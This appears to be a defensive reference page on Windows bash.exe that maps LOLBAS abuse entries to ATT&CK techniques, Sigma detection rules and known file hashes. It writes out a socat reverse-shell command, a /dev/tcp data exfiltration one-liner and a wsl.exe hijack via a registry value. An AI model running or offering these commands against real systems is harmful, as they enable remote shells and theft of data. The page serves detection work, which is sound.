Identifier / Programs / Windows
bash.exe
Bourne-Again SHell, an sh-compatible command-line interpreter. tldr-pages
LOLBAS Execute, AWL Bypass 21 Sigma rules name it 1 ATT&CK technique 5 documented commands 1 known copy with hashes
How bash.exe is abused
Execute T1202 Indirect Command Execution
-cAWL Bypass T1202 Indirect Command Execution
-cEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for bash.exe.
5 documented commands
Execute T1202 Indirect Command Execution User privileges
Executes executable from bash.exe
bash.exe -c "{CMD}"Trips 1 Sigma rule: mediumIndirect Inline Command Execution Via Bash.EXE by frack113
Execute T1202 Indirect Command Execution User privileges
Executes a reverse shell
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"Trips 2 Sigma rules: mediumIndirect Inline Command Execution Via Bash.EXE by frack113; mediumTunneling Tool Execution by Daniil Yugoslavskiy, oscd.community
Execute T1202 Indirect Command Execution User privileges
Exfiltrate data
bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'Trips 1 Sigma rule: mediumIndirect Inline Command Execution Via Bash.EXE by frack113
AWL Bypass T1202 Indirect Command Execution User privileges
Executes executable from bash.exe
bash.exe -c "{CMD}"Trips 1 Sigma rule: mediumIndirect Inline Command Execution Via Bash.EXE by frack113
Execute T1218 System Binary Proxy Execution User privileges
When executed, bash.exe queries the registry value of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation, which contains a folder path (c:\program files\wsl by default). If the value points to another folder containing a file named wsl.exe, it will be executed instead of the legitimate wsl.exe in the program files folder.
bash.exeTrips no Sigma process-creation rule.
4 of the 5 commands the identifier reads trip a Sigma process-creation rule; 1 trips none. These commands and their descriptions are from LOLBAS’s entry for bash.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for bash.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real bash.exe?
C:\Windows\system32\1 known copy
10.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\bash.exe · signed by Microsoft Windows
e7fd310e7e8677a8c497efadd42f2ca67d868cad07e569e8092b1a1fba17ec99From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Everyday use
Start an interactive shell session
bashIdentifyStart an interactive shell session without loading startup configs
bash --norcIdentifyExecute specific commands
bash -c "echo 'bash is executed'"IdentifyTrips 1 Sigma rule: mediumIndirect Inline Command Execution Via Bash.EXE by frack113
Matches LOLBAS abuse: Execute (T1202), AWL Bypass (T1202)
Of the 3 examples the identifier reads, 1 matches LOLBAS abuse or trips a Sigma process-creation rule.